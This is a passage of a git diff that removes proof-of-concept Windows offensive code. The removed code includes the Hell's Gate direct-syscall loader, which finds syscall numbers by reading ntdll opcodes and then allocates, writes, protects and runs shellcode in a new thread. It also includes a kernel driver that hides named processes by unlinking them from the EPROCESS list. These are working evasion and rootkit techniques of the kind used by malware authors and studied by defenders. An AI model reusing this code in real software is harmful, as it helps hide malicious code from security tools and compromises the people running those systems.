- // First opcodes should be :
- // MOV R10, RCX
- // MOV RCX,
- if (*((PBYTE)pFunctionAddress + cw) == 0x4c
- && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
- && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
- && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
- && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
- && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
- BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
- BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
- pVxTableEntry->wSystemCall = (high << 8) | low;
- break;
- }
-
- cw++;
- };
- }
- }
-
- return TRUE;
-}
-
-BOOL Payload(PVX_TABLE pVxTable) {
- NTSTATUS status = 0x00000000;
- char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
-
- // Allocate memory for the shellcode
- PVOID lpAddress = NULL;
- SIZE_T sDataSize = sizeof(shellcode);
- HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
- status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
-
- // Write Memory
- VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
-
- // Change page permissions
- ULONG ulOldProtect = 0;
- HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
- status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
-
- // Create thread
- HANDLE hHostThread = INVALID_HANDLE_VALUE;
- HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
- status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
-
- // Wait for 1 seconds
- LARGE_INTEGER Timeout;
- Timeout.QuadPart = -10000000;
- HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
- status = HellDescent(hHostThread, FALSE, &Timeout);
-
- return TRUE;
-}
-
-PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
- char* d = dest;
- const char* s = src;
- if (d < s)
- while (len--)
- *d++ = *s++;
- else {
- char* lasts = s + (len - 1);
- char* lastd = d + (len - 1);
- while (len--)
- *lastd-- = *lasts--;
- }
- return dest;
-}
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/HellsGate/HellsGate/structs.h b/Win32/Proof of Concepts/HellsGate/HellsGate/structs.h
deleted file mode 100644
index 0a5ff0f1..00000000
--- a/Win32/Proof of Concepts/HellsGate/HellsGate/structs.h
+++ /dev/null
@@ -1,337 +0,0 @@
-#pragma once
-#include
-
-/*--------------------------------------------------------------------
- STRUCTURES
---------------------------------------------------------------------*/
-typedef struct _LSA_UNICODE_STRING {
- USHORT Length;
- USHORT MaximumLength;
- PWSTR Buffer;
-} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;
-
-typedef struct _LDR_MODULE {
- LIST_ENTRY InLoadOrderModuleList;
- LIST_ENTRY InMemoryOrderModuleList;
- LIST_ENTRY InInitializationOrderModuleList;
- PVOID BaseAddress;
- PVOID EntryPoint;
- ULONG SizeOfImage;
- UNICODE_STRING FullDllName;
- UNICODE_STRING BaseDllName;
- ULONG Flags;
- SHORT LoadCount;
- SHORT TlsIndex;
- LIST_ENTRY HashTableEntry;
- ULONG TimeDateStamp;
-} LDR_MODULE, * PLDR_MODULE;
-
-typedef struct _PEB_LDR_DATA {
- ULONG Length;
- ULONG Initialized;
- PVOID SsHandle;
- LIST_ENTRY InLoadOrderModuleList;
- LIST_ENTRY InMemoryOrderModuleList;
- LIST_ENTRY InInitializationOrderModuleList;
-} PEB_LDR_DATA, * PPEB_LDR_DATA;
-
-typedef struct _PEB {
- BOOLEAN InheritedAddressSpace;
- BOOLEAN ReadImageFileExecOptions;
- BOOLEAN BeingDebugged;
- BOOLEAN Spare;
- HANDLE Mutant;
- PVOID ImageBase;
- PPEB_LDR_DATA LoaderData;
- PVOID ProcessParameters;
- PVOID SubSystemData;
- PVOID ProcessHeap;
- PVOID FastPebLock;
- PVOID FastPebLockRoutine;
- PVOID FastPebUnlockRoutine;
- ULONG EnvironmentUpdateCount;
- PVOID* KernelCallbackTable;
- PVOID EventLogSection;
- PVOID EventLog;
- PVOID FreeList;
- ULONG TlsExpansionCounter;
- PVOID TlsBitmap;
- ULONG TlsBitmapBits[0x2];
- PVOID ReadOnlySharedMemoryBase;
- PVOID ReadOnlySharedMemoryHeap;
- PVOID* ReadOnlyStaticServerData;
- PVOID AnsiCodePageData;
- PVOID OemCodePageData;
- PVOID UnicodeCaseTableData;
- ULONG NumberOfProcessors;
- ULONG NtGlobalFlag;
- BYTE Spare2[0x4];
- LARGE_INTEGER CriticalSectionTimeout;
- ULONG HeapSegmentReserve;
- ULONG HeapSegmentCommit;
- ULONG HeapDeCommitTotalFreeThreshold;
- ULONG HeapDeCommitFreeBlockThreshold;
- ULONG NumberOfHeaps;
- ULONG MaximumNumberOfHeaps;
- PVOID** ProcessHeaps;
- PVOID GdiSharedHandleTable;
- PVOID ProcessStarterHelper;
- PVOID GdiDCAttributeList;
- PVOID LoaderLock;
- ULONG OSMajorVersion;
- ULONG OSMinorVersion;
- ULONG OSBuildNumber;
- ULONG OSPlatformId;
- ULONG ImageSubSystem;
- ULONG ImageSubSystemMajorVersion;
- ULONG ImageSubSystemMinorVersion;
- ULONG GdiHandleBuffer[0x22];
- ULONG PostProcessInitRoutine;
- ULONG TlsExpansionBitmap;
- BYTE TlsExpansionBitmapBits[0x80];
- ULONG SessionId;
-} PEB, * PPEB;
-
-typedef struct __CLIENT_ID {
- HANDLE UniqueProcess;
- HANDLE UniqueThread;
-} CLIENT_ID, * PCLIENT_ID;
-
-typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
- ULONG Flags;
- PCHAR FrameName;
-} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;
-
-typedef struct _TEB_ACTIVE_FRAME {
- ULONG Flags;
- struct _TEB_ACTIVE_FRAME* Previous;
- PTEB_ACTIVE_FRAME_CONTEXT Context;
-} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;
-
-typedef struct _GDI_TEB_BATCH {
- ULONG Offset;
- ULONG HDC;
- ULONG Buffer[310];
-} GDI_TEB_BATCH, * PGDI_TEB_BATCH;
-
-typedef PVOID PACTIVATION_CONTEXT;
-
-typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
- struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
- PACTIVATION_CONTEXT ActivationContext;
- ULONG Flags;
-} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
-
-typedef struct _ACTIVATION_CONTEXT_STACK {
- PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
- LIST_ENTRY FrameListCache;
- ULONG Flags;
- ULONG NextCookieSequenceNumber;
- ULONG StackId;
-} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;
-
-typedef struct _TEB {
- NT_TIB NtTib;
- PVOID EnvironmentPointer;
- CLIENT_ID ClientId;
- PVOID ActiveRpcHandle;
- PVOID ThreadLocalStoragePointer;
- PPEB ProcessEnvironmentBlock;
- ULONG LastErrorValue;
- ULONG CountOfOwnedCriticalSections;
- PVOID CsrClientThread;
- PVOID Win32ThreadInfo;
- ULONG User32Reserved[26];
- ULONG UserReserved[5];
- PVOID WOW32Reserved;
- LCID CurrentLocale;
- ULONG FpSoftwareStatusRegister;
- PVOID SystemReserved1[54];
- LONG ExceptionCode;
-#if (NTDDI_VERSION >= NTDDI_LONGHORN)
- PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
- UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
- ULONG TxFsContext;
-#elif (NTDDI_VERSION >= NTDDI_WS03)
- PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
- UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
-#else
- ACTIVATION_CONTEXT_STACK ActivationContextStack;
- UCHAR SpareBytes1[24];
-#endif
- GDI_TEB_BATCH GdiTebBatch;
- CLIENT_ID RealClientId;
- PVOID GdiCachedProcessHandle;
- ULONG GdiClientPID;
- ULONG GdiClientTID;
- PVOID GdiThreadLocalInfo;
- PSIZE_T Win32ClientInfo[62];
- PVOID glDispatchTable[233];
- PSIZE_T glReserved1[29];
- PVOID glReserved2;
- PVOID glSectionInfo;
- PVOID glSection;
- PVOID glTable;
- PVOID glCurrentRC;
- PVOID glContext;
- NTSTATUS LastStatusValue;
- UNICODE_STRING StaticUnicodeString;
- WCHAR StaticUnicodeBuffer[261];
- PVOID DeallocationStack;
- PVOID TlsSlots[64];
- LIST_ENTRY TlsLinks;
- PVOID Vdm;
- PVOID ReservedForNtRpc;
- PVOID DbgSsReserved[2];
-#if (NTDDI_VERSION >= NTDDI_WS03)
- ULONG HardErrorMode;
-#else
- ULONG HardErrorsAreDisabled;
-#endif
-#if (NTDDI_VERSION >= NTDDI_LONGHORN)
- PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
- GUID ActivityId;
- PVOID SubProcessTag;
- PVOID EtwLocalData;
- PVOID EtwTraceData;
-#elif (NTDDI_VERSION >= NTDDI_WS03)
- PVOID Instrumentation[14];
- PVOID SubProcessTag;
- PVOID EtwLocalData;
-#else
- PVOID Instrumentation[16];
-#endif
- PVOID WinSockData;
- ULONG GdiBatchCount;
-#if (NTDDI_VERSION >= NTDDI_LONGHORN)
- BOOLEAN SpareBool0;
- BOOLEAN SpareBool1;
- BOOLEAN SpareBool2;
-#else
- BOOLEAN InDbgPrint;
- BOOLEAN FreeStackOnTermination;
- BOOLEAN HasFiberData;
-#endif
- UCHAR IdealProcessor;
-#if (NTDDI_VERSION >= NTDDI_WS03)
- ULONG GuaranteedStackBytes;
-#else
- ULONG Spare3;
-#endif
- PVOID ReservedForPerf;
- PVOID ReservedForOle;
- ULONG WaitingOnLoaderLock;
-#if (NTDDI_VERSION >= NTDDI_LONGHORN)
- PVOID SavedPriorityState;
- ULONG_PTR SoftPatchPtr1;
- ULONG_PTR ThreadPoolData;
-#elif (NTDDI_VERSION >= NTDDI_WS03)
- ULONG_PTR SparePointer1;
- ULONG_PTR SoftPatchPtr1;
- ULONG_PTR SoftPatchPtr2;
-#else
- Wx86ThreadState Wx86Thread;
-#endif
- PVOID* TlsExpansionSlots;
-#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
- PVOID DeallocationBStore;
- PVOID BStoreLimit;
-#endif
- ULONG ImpersonationLocale;
- ULONG IsImpersonating;
- PVOID NlsCache;
- PVOID pShimData;
- ULONG HeapVirtualAffinity;
- HANDLE CurrentTransactionHandle;
- PTEB_ACTIVE_FRAME ActiveFrame;
-#if (NTDDI_VERSION >= NTDDI_WS03)
- PVOID FlsData;
-#endif
-#if (NTDDI_VERSION >= NTDDI_LONGHORN)
- PVOID PreferredLangauges;
- PVOID UserPrefLanguages;
- PVOID MergedPrefLanguages;
- ULONG MuiImpersonation;
- union
- {
- struct
- {
- USHORT SpareCrossTebFlags : 16;
- };
- USHORT CrossTebFlags;
- };
- union
- {
- struct
- {
- USHORT DbgSafeThunkCall : 1;
- USHORT DbgInDebugPrint : 1;
- USHORT DbgHasFiberData : 1;
- USHORT DbgSkipThreadAttach : 1;
- USHORT DbgWerInShipAssertCode : 1;
- USHORT DbgIssuedInitialBp : 1;
- USHORT DbgClonedThread : 1;
- USHORT SpareSameTebBits : 9;
- };
- USHORT SameTebFlags;
- };
- PVOID TxnScopeEntercallback;
- PVOID TxnScopeExitCAllback;
- PVOID TxnScopeContext;
- ULONG LockCount;
- ULONG ProcessRundown;
- ULONG64 LastSwitchTime;
- ULONG64 TotalSwitchOutTime;
- LARGE_INTEGER WaitReasonBitMap;
-#else
- BOOLEAN SafeThunkCall;
- BOOLEAN BooleanSpare[3];
-#endif
-} TEB, * PTEB;
-
-typedef struct _LDR_DATA_TABLE_ENTRY {
- LIST_ENTRY InLoadOrderLinks;
- LIST_ENTRY InMemoryOrderLinks;
- LIST_ENTRY InInitializationOrderLinks;
- PVOID DllBase;
- PVOID EntryPoint;
- ULONG SizeOfImage;
- UNICODE_STRING FullDllName;
- UNICODE_STRING BaseDllName;
- ULONG Flags;
- WORD LoadCount;
- WORD TlsIndex;
- union {
- LIST_ENTRY HashLinks;
- struct {
- PVOID SectionPointer;
- ULONG CheckSum;
- };
- };
- union {
- ULONG TimeDateStamp;
- PVOID LoadedImports;
- };
- PACTIVATION_CONTEXT EntryPointActivationContext;
- PVOID PatchInformation;
- LIST_ENTRY ForwarderLinks;
- LIST_ENTRY ServiceTagLinks;
- LIST_ENTRY StaticLinks;
-} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
-
-typedef struct _OBJECT_ATTRIBUTES {
- ULONG Length;
- PVOID RootDirectory;
- PUNICODE_STRING ObjectName;
- ULONG Attributes;
- PVOID SecurityDescriptor;
- PVOID SecurityQualityOfService;
-} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
-
-typedef struct _INITIAL_TEB {
- PVOID StackBase;
- PVOID StackLimit;
- PVOID StackCommit;
- PVOID StackCommitMax;
- PVOID StackReserved;
-} INITIAL_TEB, * PINITIAL_TEB;
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/HellsGate/README.md b/Win32/Proof of Concepts/HellsGate/README.md
deleted file mode 100644
index 5954d33a..00000000
--- a/Win32/Proof of Concepts/HellsGate/README.md
+++ /dev/null
@@ -1,21 +0,0 @@
-## Hell's Gate ##
-
-Original C Implementation of the Hell's Gate VX Technique
-
-
-Link to the paper: https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf
-
PDF also included in this repository.
-
-
-Authors:
-* Paul Laîné (@am0nsec)
-* smelly__vx (@RtlMateusz)
-
-
-### Update ###
-Please note:
-* We are not claiming that this is ground-breaking as many people have been using this kind of technique for many years;
-* We are not claiming that this is the perfect and most optimised way to archive the objective. This is just one example on how to implementation the technique;
-* Judging the idea/technique/project/research solely on the name is petty to say the least and definitively childish; and
-* Any recommendation and/or ideas will always be welcome, just open an issue in this repository.
-
diff --git a/Win32/Proof of Concepts/HellsGate/hells-gate.pdf b/Win32/Proof of Concepts/HellsGate/hells-gate.pdf
deleted file mode 100644
index 5cfa4e04..00000000
Binary files a/Win32/Proof of Concepts/HellsGate/hells-gate.pdf and /dev/null differ
diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.c b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.c
deleted file mode 100644
index 626222e2..00000000
--- a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.c
+++ /dev/null
@@ -1,175 +0,0 @@
-#ifndef CXX_HIDEPROCESS_H
-# include "HideProcess.h"
-#endif
-
-ULONG_PTR ActiveOffsetPre = 0;
-ULONG_PTR ActiveOffsetNext = 0;
-ULONG_PTR ImageName = 0;
-WIN_VERSION WinVersion = WINDOWS_UNKNOW;
-
-NTSTATUS
-DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath)
-{
- DbgPrint("DriverEntry\r\n");
-
- DriverObject->DriverUnload = UnloadDriver;
-
- WinVersion = GetWindowsVersion();
-
- switch(WinVersion)
- {
-#ifdef _WIN32
- case WINDOWS_XP: //32Bits
- {
-
- ActiveOffsetPre = 0x8c;
- ActiveOffsetNext = 0x88;
- ImageName = 0x174;
- break;
- }
-#else
- case WINDOWS_7: //64Bits
- {
- ActiveOffsetPre = 0x190;
- ActiveOffsetNext = 0x188;
- ImageName = 0x2e0;
- break;
- }
-#endif
- default:
- return STATUS_NOT_SUPPORTED;
- }
-
- HideProcess("explorer.exe");
- HideProcess("notepad.exe");
- return STATUS_SUCCESS;
-}
-
-VOID HideProcess(char* ProcessName)
-{
- PEPROCESS CurrentProcess = NULL;
- PEPROCESS PreProcess = NULL;
- PLIST_ENTRY Temp = NULL;
-
- if(!ProcessName)
- return;
-
- CurrentProcess = PsGetCurrentProcess(); //System EProcess
- PreProcess = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)CurrentProcess + ActiveOffsetPre))) - ActiveOffsetNext);
-
- while (CurrentProcess != PreProcess)
- {
- //DbgPrint("%s\r\n",(char*)((ULONG_PTR)CurrentProcess + ImageName));
- if(strcmp((char*)((ULONG_PTR)CurrentProcess + ImageName), ProcessName) == 0)
- {
- Temp = (PLIST_ENTRY)((ULONG_PTR)CurrentProcess + ActiveOffsetNext);
-
- if (MmIsAddressValid(Temp))
- {
- RemoveEntryList(Temp);
- }
- break;
- }
-
- CurrentProcess = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)CurrentProcess + ActiveOffsetNext))) - ActiveOffsetNext);
- }
-}
-
-VOID UnloadDriver(PDRIVER_OBJECT DriverObject)
-{
- DbgPrint("UnloadDriver\r\n");
-}
-
-WIN_VERSION GetWindowsVersion()
-{
- RTL_OSVERSIONINFOEXW osverInfo = {sizeof(osverInfo)};
- pfnRtlGetVersion RtlGetVersion = NULL;
- WIN_VERSION WinVersion;
- WCHAR szRtlGetVersion[] = L"RtlGetVersion";
-
- RtlGetVersion = (pfnRtlGetVersion)GetFunctionAddressByName(szRtlGetVersion);
-
- if (RtlGetVersion)
- {
- RtlGetVersion((PRTL_OSVERSIONINFOW)&osverInfo);
- }
- else
- {
- PsGetVersion(&osverInfo.dwMajorVersion, &osverInfo.dwMinorVersion, &osverInfo.dwBuildNumber, NULL);
- }
-
- //x64λ֧
- if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1 && osverInfo.dwBuildNumber == 7600)
- {
- DbgPrint("WINDOWS 7\r\n");
- WinVersion = WINDOWS_7_7600;
- }
- else if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1 && osverInfo.dwBuildNumber == 7601)
- {
- DbgPrint("WINDOWS 7\r\n");
- WinVersion = WINDOWS_7_7601;
- }
- else if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 2 && osverInfo.dwBuildNumber == 9200)
- {
- DbgPrint("WINDOWS 8\r\n");
- WinVersion = WINDOWS_8_9200;
- }
- else if(osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 3 && osverInfo.dwBuildNumber == 9600)
- {
- DbgPrint("WINDOWS 8.1\r\n");
- WinVersion = WINDOWS_8_9600;
- }
- else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 10240)
- {
- DbgPrint("WINDOWS 10 10240\r\n");
- WinVersion = WINDOWS_10_10240;
- }
- else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 10586)
- {
- DbgPrint("WINDOWS 10 10586\r\n");
- WinVersion = WINDOWS_10_10586;
- }
- else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 14393)
- {
- DbgPrint("WINDOWS 10 14393\r\n");
- WinVersion = WINDOWS_10_14393;
- }
- else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 15063)
- {
- DbgPrint("WINDOWS 10 15063\r\n");
- WinVersion = WINDOWS_10_15063;
- }
- else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 16299)
- {
- DbgPrint("WINDOWS 10 16299\r\n");
- WinVersion = WINDOWS_10_16299;
- }
- else if(osverInfo.dwMajorVersion == 10 && osverInfo.dwMinorVersion == 0 && osverInfo.dwBuildNumber == 17134)
- {
- DbgPrint("WINDOWS 10 17134\r\n");
- WinVersion = WINDOWS_10_17134;
- }
- else
- {
- DbgPrint("This is a new os\r\n");
- WinVersion = WINDOWS_UNKNOW;
- }
-
- return WinVersion;
-}
-
-PVOID
-GetFunctionAddressByName(WCHAR *wzFunction)
-{
- UNICODE_STRING uniFunction;
- PVOID AddrBase = NULL;
-
- if (wzFunction && wcslen(wzFunction) > 0)
- {
- RtlInitUnicodeString(&uniFunction, wzFunction); //ָ
- AddrBase = MmGetSystemRoutineAddress(&uniFunction); //System һģ Ntosknrl.exe ExportTable
- }
-
- return AddrBase;
-}
-
diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.h b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.h
deleted file mode 100644
index 340768e5..00000000
--- a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.h
+++ /dev/null
@@ -1,30 +0,0 @@
-#ifndef CXX_HIDEPROCESS_H
-#define CXX_HIDEPROCESS_H
-
-#include
-
-typedef enum WIN_VERSION {
- WINDOWS_XP,
- WINDOWS_7_7600,
- WINDOWS_7_7601,
- WINDOWS_8_9200,
- WINDOWS_8_9600,
- WINDOWS_10_10240,
- WINDOWS_10_10586,
- WINDOWS_10_14393,
- WINDOWS_10_15063,
- WINDOWS_10_16299,
- WINDOWS_10_17134,
- WINDOWS_UNKNOW
-} WIN_VERSION;
-
-VOID UnloadDriver(PDRIVER_OBJECT DriverObject);
-VOID HideProcess(char* ProcessName);
-
-WIN_VERSION GetWindowsVersion();
-PVOID
-GetFunctionAddressByName(WCHAR *wzFunction);
-typedef
-NTSTATUS
-(*pfnRtlGetVersion)(OUT PRTL_OSVERSIONINFOW lpVersionInformation);
-#endif
diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.sln b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.sln
deleted file mode 100644
index eaa334af..00000000
--- a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.sln
+++ /dev/null
@@ -1,16 +0,0 @@
-Microsoft Visual Studio Solution File, Format Version 11.00
-# Visual Studio 2010
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HideProcess", "HideProcess.vcxproj", "{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- WinDDK|Win32 = WinDDK|Win32
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.ActiveCfg = WinDDK|Win32
- {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.Build.0 = WinDDK|Win32
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.vcxproj b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.vcxproj
deleted file mode 100644
index a5e61002..00000000
--- a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/HideProcess.vcxproj
+++ /dev/null
@@ -1,64 +0,0 @@
-
-
-
-
- WinDDK
- Win32
-
-
-
- {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}
- Win32Proj
- "HideProcess"
-
-
-
-
-
-
-
- .sys
- false
- $(WLHBASE)\bin\x86\x86;$(WLHBASE)\bin\x86
- $(WLHBASE)\inc\api;$(WLHBASE)\inc\crt;$(WLHBASE)\inc\ddk;$(WLHBASE)\inc
-
- $(WLHBASE)\lib\win7\i386
-
-
-
-
-
- _X86_;DBG=1
- false
- false
- StdCall
- CompileAsC
-
-
-
-
- ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies)
-
-
- true
- Native
- Driver
- DriverEntry
- true
- 0x10000
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/ReadMe.txt b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/ReadMe.txt
deleted file mode 100644
index 7d2033b9..00000000
--- a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/ReadMe.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-HideProcess by Remove ProcessList in EPROCESS struct.
-Support Windows xp and windows 7 OS, you can add other os's offset of ProcessList in EPROCESS to support more.
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/common.h b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/common.h
deleted file mode 100644
index 305f1774..00000000
--- a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/common.h
+++ /dev/null
@@ -1,69 +0,0 @@
-/**************************************************************************************
-* AUTHOR : MZ
-* DATE : 2016-8-29
-* MODULE : common.h
-*
-* Command:
-* IOCTRL Common Header
-*
-* Description:
-* Common data for the IoCtrl driver and application
-*
-****************************************************************************************
-* Copyright (C) 2010 MZ.
-****************************************************************************************/
-
-#pragma once
-
-//#######################################################################################
-// D E F I N E S
-//#######################################################################################
-
-#if DBG
-#define dprintf DbgPrint
-#else
-#define dprintf
-#endif
-
-//ַ֧û
-#define DEVICE_NAME L"\\Device\\devHideProcess" // Driver Name
-#define SYMBOLIC_LINK_NAME L"\\DosDevices\\HideProcess" // Symbolic Link Name
-#define WIN32_LINK_NAME "\\\\.\\HideProcess" // Win32 Link Name
-
-//ַ֧û
-#define SYMBOLIC_LINK_GLOBAL_NAME L"\\DosDevices\\Global\\HideProcess" // Symbolic Link Name
-
-#define DATA_TO_APP "Hello World from Driver"
-
-//
-// Device IO Control Codes
-//
-#define IOCTL_BASE 0x800
-#define MY_CTL_CODE(i) \
- CTL_CODE \
- ( \
- FILE_DEVICE_UNKNOWN, \
- IOCTL_BASE + i, \
- METHOD_BUFFERED, \
- FILE_ANY_ACCESS \
- )
-
-#define IOCTL_HELLO_WORLD MY_CTL_CODE(0)
-#define IOCTRL_REC_FROM_APP MY_CTL_CODE(1)
-#define IOCTRL_SEND_TO_APP MY_CTL_CODE(2)
-
-
-//
-// TODO: Add your IOCTL define here
-//
-
-
-
-//
-// TODO: Add your struct,enum(public) define here
-//
-
-
-
-/* EOF */
-
diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/sources b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/sources
deleted file mode 100644
index 102e49c7..00000000
--- a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/sources
+++ /dev/null
@@ -1,9 +0,0 @@
-TARGETNAME=HideProcess
-#TARGETPATH=$(BASEDIR)\lib
-TARGETPATH=obj
-TARGETTYPE=DRIVER
-
-INCLUDES=.\
-
-SOURCES=HideProcess.c
-
diff --git a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/struct.h b/Win32/Proof of Concepts/HideProcessUsingEPROCESS/struct.h
deleted file mode 100644
index 907ddf72..00000000
--- a/Win32/Proof of Concepts/HideProcessUsingEPROCESS/struct.h
+++ /dev/null
@@ -1,407 +0,0 @@
-/***************************************************************************************
-* AUTHOR : MZ
-* DATE : 2016-8-29
-* MODULE : struct.h
-*
-* Command:
-* ͷļ
-*
-* Description:
-* һЩ,ظͶ; ڴҪĺ/ṹ
-*
-****************************************************************************************
-
-Copyright (C) 2010 MZ.
-****************************************************************************************/
-
-#pragma once
-
-#include
-
-typedef long LONG;
-typedef unsigned char BOOL, *PBOOL;
-typedef unsigned char BYTE, *PBYTE;
-typedef unsigned long DWORD, *PDWORD;
-typedef unsigned short WORD, *PWORD;
-
-typedef void *HMODULE;
-typedef long NTSTATUS, *PNTSTATUS;
-typedef unsigned long DWORD;
-typedef DWORD * PDWORD;
-typedef unsigned long ULONG;
-typedef unsigned long ULONG_PTR;
-typedef ULONG *PULONG;
-typedef unsigned short WORD;
-typedef unsigned char BYTE;
-typedef unsigned char UCHAR;
-typedef unsigned short USHORT;
-typedef void *PVOID;
-typedef BYTE BOOLEAN;
-#define SEC_IMAGE 0x01000000
-
-//----------------------------------------------------
-
-// PEB
-
-#pragma pack(4)
-typedef struct _PEB_LDR_DATA
-{
- ULONG Length;
- BOOLEAN Initialized;
- PVOID SsHandle;
- LIST_ENTRY InLoadOrderModuleList;
- LIST_ENTRY InMemoryOrderModuleList;
- LIST_ENTRY InInitializationOrderModuleList;
-} PEB_LDR_DATA, *PPEB_LDR_DATA;
-#pragma pack()
-
-typedef struct _PEB_ORIG {
- BYTE Reserved1[2];
- BYTE BeingDebugged;
- BYTE Reserved2[229];
- PVOID Reserved3[59];
- ULONG SessionId;
-} PEB_ORIG, *PPEB_ORIG;
-
-typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);
-
-struct _PEB_FREE_BLOCK {
- struct _PEB_FREE_BLOCK *Next;
- ULONG Size;
-};
-typedef struct _PEB_FREE_BLOCK PEB_FREE_BLOCK;
-typedef struct _PEB_FREE_BLOCK *PPEB_FREE_BLOCK;
-
-typedef struct _RTL_DRIVE_LETTER_CURDIR {
- USHORT Flags;
- USHORT Length;
- ULONG TimeStamp;
- UNICODE_STRING DosPath;
-} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
-
-typedef struct _RTL_USER_PROCESS_PARAMETERS {
- ULONG MaximumLength;
- ULONG Length;
- ULONG Flags;
- ULONG DebugFlags;
- PVOID ConsoleHandle;
- ULONG ConsoleFlags;
- HANDLE StdInputHandle;
- HANDLE StdOutputHandle;
- HANDLE StdErrorHandle;
- UNICODE_STRING CurrentDirectoryPath;
- HANDLE CurrentDirectoryHandle;
- UNICODE_STRING DllPath;
- UNICODE_STRING ImagePathName;
- UNICODE_STRING CommandLine;
